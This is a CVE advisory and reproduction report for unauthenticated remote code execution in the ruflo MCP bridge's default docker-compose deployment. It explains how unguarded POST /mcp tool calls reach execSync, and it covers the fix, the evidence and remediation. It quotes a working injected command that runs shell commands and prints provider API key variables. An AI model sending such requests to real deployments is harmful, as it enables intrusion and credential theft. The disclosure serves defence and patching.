CVE-2026-59726: Unauthenticated RCE in ruflo MCP bridge default docker-compose deployment

The ruflo MCP bridge (ruflo/src/ruvocal/mcp-bridge/index.js, the service built by ruflo/docker-compose.yml) exposed POST /mcp and POST /mcp/:group with no authentication and bound to 0.0.0.0 by default. The only blocklist that referenced terminal_execute (AUTOPILOT_BLOCKED_PATTERNS + isBlockedTool()) was enforced solely in the autopilot SSE handler. The shared executeTool() function — invoked by POST /mcp and POST /mcp/:group for every tools/call — performed no gate, so an unauthenticated network attacker could call tools/call → ruflo__terminal_execute. The bridge routed that call to the ruflo MCP backend (@claude-flow/cli), whose terminal_execute handler runs execSync(command) on attacker-supplied input, yielding arbitrary command execution as the node user (uid 1000) inside the bridge container.

• Package/component affected: ruflo MCP bridge — ruflo/src/ruvocal/mcp-bridge/index.js (the bridge built by ruflo/docker-compose.yml, service mcp-bridge, port 3001). The dangerous tool implementation lives in the ruflo backend (@claude-flow/cli, src/mcp-tools/terminal-tools.ts, execSync(command)).
• Affected versions: ruflo < 3.16.3 (vulnerable at main commit 4e18ad84, the parent of the fix). The default docker-compose.yml enabled the devtools tool group (MCP_GROUP_DEVTOOLS=true), which exposes terminal_* tools, and ran the bridge with no MCP_AUTH_TOKEN and no bind-host restriction.
• Risk level: Critical. Unauthenticated remote code execution. From the shell as node, an attacker can read every provider API key from the container environment (OPENAI_API_KEY, GOOGLE_API_KEY, OPENROUTER_API_KEY, ANTHROPIC_API_KEY), spawn attacker-controlled swarms on the victim's keys, and persist poisoned patterns into the AgentDB learning store.

Impact Parity

• Disclosed/claimed maximum impact: Unauthenticated remote code execution (shell as node / uid 1000) via POST /mcp → tools/call → terminal_execute, with provider API key disclosure and AgentDB poisoning.
• Reproduced impact from this run: Unauthenticated RCE confirmed end-to-end through the real running bridge container. A single POST /mcp tools/call/ruflo__terminal_execute request with no authentication header returned command output uid=1000(node) gid=1000(node) groups=1000(node) / whoami=node, wrote an attacker marker file to /tmp inside the container and read it back, and executed printenv for the provider keys (exitCode: 0). No API keys were present in the reproduction environment, so the env-leak primitive was exercised but produced empty values; the command-execution primitive is fully demonstrated.
• Parity: full for the core claimed impact (unauthenticated RCE as node via POST /mcp → terminal_execute). The downstream consequences (key theft, swarm abuse, AgentDB poisoning) are direct implications of the demonstrated shell and were not separately exercised.

Root Cause

createMcpHandler() (per-group) and the catch-all POST /mcp handler both call executeTool(name, toolArgs) for tools/call. In the vulnerable code executeTool() only validated search-query shape and then routed unknown tool names to the matching external MCP backend via backend.callTool() — there was no server-side deny list. The AUTOPILOT_BLOCKED_PATTERNS array (containing /terminal_execute/) and isBlockedTool() were referenced only inside the autopilot SSE loop, never in executeTool():

// vulnerable (4e18ad84) — executeTool() has NO gate:
async function executeTool(name, args) {
  if (!args || typeof args !== "object") args = {};
  // ... only search-query validation ...
  switch (name) { /* search, web_research, guidance */ default: {
      const activeTools = getActiveTools();
      const extTool = activeTools.find(t => t.name === name);
      if (extTool) {
        const backend = mcpBackends.get(extTool._backend);
        if (backend) return backend.callTool(extTool._originalName, args); // -> execSync
      }
  }}
}

The ruflo backend's terminal_execute runs the command verbatim:

// @claude-flow/cli src/mcp-tools/terminal-tools.ts
output = execSync(command, { cwd, encoding: "utf-8", timeout, ... });

Compounding factors in the default deployment: app.listen(PORT) binds all interfaces; no auth middleware; CORS Access-Control-Allow-Origin: *; the devtools group (prefix terminal_) is enabled by default; MongoDB bound to 0.0.0.0:27017 without --auth.

Fix commit: d00a0a40cd8bdbca877ac7f675f416bdc69accd1 (PR #2521, ADR-166 Phase 1–3). It adds a server-side DANGEROUS_TOOLS gate at the top of executeTool() (denies terminal_execute unless MCP_ENABLE_TERMINAL=true), a requireAuth bearer middleware (timingSafeEqual), BIND_HOST=127.0.0.1 by default with fail-closed on public bind without MCP_AUTH_TOKEN, a CORS allowlist, and MongoDB --auth defaults.

Reproduction Steps

1. See bundle/repro/reproduction_steps.sh (self-contained, executable).
2. The script resolves the ruflo repo (prepared project cache or fresh clone), checks out the vulnerable commit 4e18ad84 (=d00a0a40^) and the fixed commit d00a0a40 into separate worktrees, sanity-checks that the vulnerable index.js lacks DANGEROUS_TOOLS and the fixed one has it, builds a real node:20-slim container for each commit (the ruflo MCP backend is the real published ruflo npm package; terminal_execute is verified present before baking), starts each container, and sends the actual unauthenticated POST /mcp tools/call → ruflo__terminal_execute request through the running HTTP service. It runs two clean vulnerable attempts and two clean fixed (negative-control) attempts, then writes bundle/repro/runtime_manifest.json.
3. Expected evidence (all under bundle/):
   • artifacts/http/vuln_attempt1_response.json — MCP result whose text contains output: "uid=1000(node) ... <marker> ... ENV_LEAK:", exitCode: 0 → RCE as node.
   • artifacts/http/fixed_noauth_response.txt — {"error":"unauthorized"} (HTTP 401).
   • artifacts/http/fixed_attempt1_response.json — {"error":"Tool ... is disabled by default ...","code":"TOOL_DISABLED"}; the marker is absent (command not executed).
   • logs/reproduction_steps.log, logs/vuln_container.log, logs/fixed_container.log.

Evidence

Key excerpts (from bundle/artifacts/http/vuln_attempt1_response.json, vulnerable bridge, no Authorization header):

"command": "id; whoami; echo PRUVA_RCE_<marker> > /tmp/PRUVA_RCE_<marker>.txt; cat /tmp/PRUVA_RCE_<marker>.txt; echo ENV_LEAK:; printenv OPENAI_API_KEY GOOGLE_API_KEY OPENROUTER_API_KEY ANTHROPIC_API_KEY 2>/dev/null || true"
"output": "uid=1000(node) gid=1000(node) groups=1000(node)\nnode\nPRUVA_RCE_<marker>\nENV_LEAK:\n"
"exitCode": 0

Fixed bridge negative control (bundle/artifacts/http/fixed_attempt1_response.json, with Authorization: Bearer ...):

{ "error": "Tool \"ruflo__terminal_execute\" is disabled by default. Set MCP_ENABLE_TERMINAL=true to allow.", "code": "TOOL_DISABLED" }

Fixed bridge, no auth (bundle/artifacts/http/fixed_noauth_response.txt, HTTP 401):

{"error":"unauthorized"}

Environment: ruflo repo ruvnet/ruflo; vulnerable commit 4e18ad84c6c61be7ef43f62e371f8303a0f7517d; fixed commit d00a0a40cd8bdbca877ac7f675f416bdc69accd1; bridge built from ruflo/src/ruvocal/mcp-bridge on node:20-slim; ruflo backend = published ruflo npm package (via @claude-flow/cli), terminal_execute confirmed in tools/list (331 backend tools, 185 exposed after group filtering). Container runs as node (uid 1000).

Recommendations / Next Steps

• Apply ADR-166 (PR #2521) fully: keep the executeTool() server-side gate as the single denial point for every path (not just autopilot); keep bearer auth + loopback bind by default; fail-closed on public bind without MCP_AUTH_TOKEN; keep MCP_ENABLE_TERMINAL opt-in; enforce MongoDB --auth.
• Operators of any pre-fix exposed instance: firewall :3001 and :27017 immediately, rotate all provider API keys, and audit/purge the AgentDB pattern store for injected agentdb_pattern-store entries (a patched redeploy does not undo poisoning).
• Add regression locks (the fix already ships test-runtime-security.mjs and test-security-lock.js) covering: unauthenticated POST /mcp terminal_execute → TOOL_DISABLED; authenticated call still gated unless MCP_ENABLE_TERMINAL=true; public bind without token → non-zero exit.

Additional Notes

• Idempotency: reproduction_steps.sh was executed three consecutive times; every run exited 0 with confirmed=true. It reuses a cached base tar / ruflo prefix / worktrees on a large scratch disk and re-imports fresh images each run.
• Build method note: The default ruflo Dockerfile runs npm install -g ruflo, which resolves an >800 MB dependency tree that exceeds the 1 GB rootless-docker storage here, so a plain docker build runs out of space. The script instead assembles the container filesystem on the host's large workspace disk and imports it with docker import (single flat layer). The bridge index.js is the unmodified repo file at each commit, and the ruflo backend is the real published package (installed with --omit=optional, which still exposes terminal_execute because that tool only requires node:child_process execSync). The opt-in backends (agentic-flow, gemini-mcp-server, @openai/codex) and the intelligence (ruvector) backend are not part of the vulnerability path (terminal_execute is provided by the devtools/ruflo backend, default-on) and were omitted to fit storage; this does not affect the reproduction.
• Limitation: No live provider API keys were set in the reproduction environment, so the env-leak output is empty; the printenv command executed successfully (demonstrating env access), and key disclosure is a direct implication of the demonstrated shell.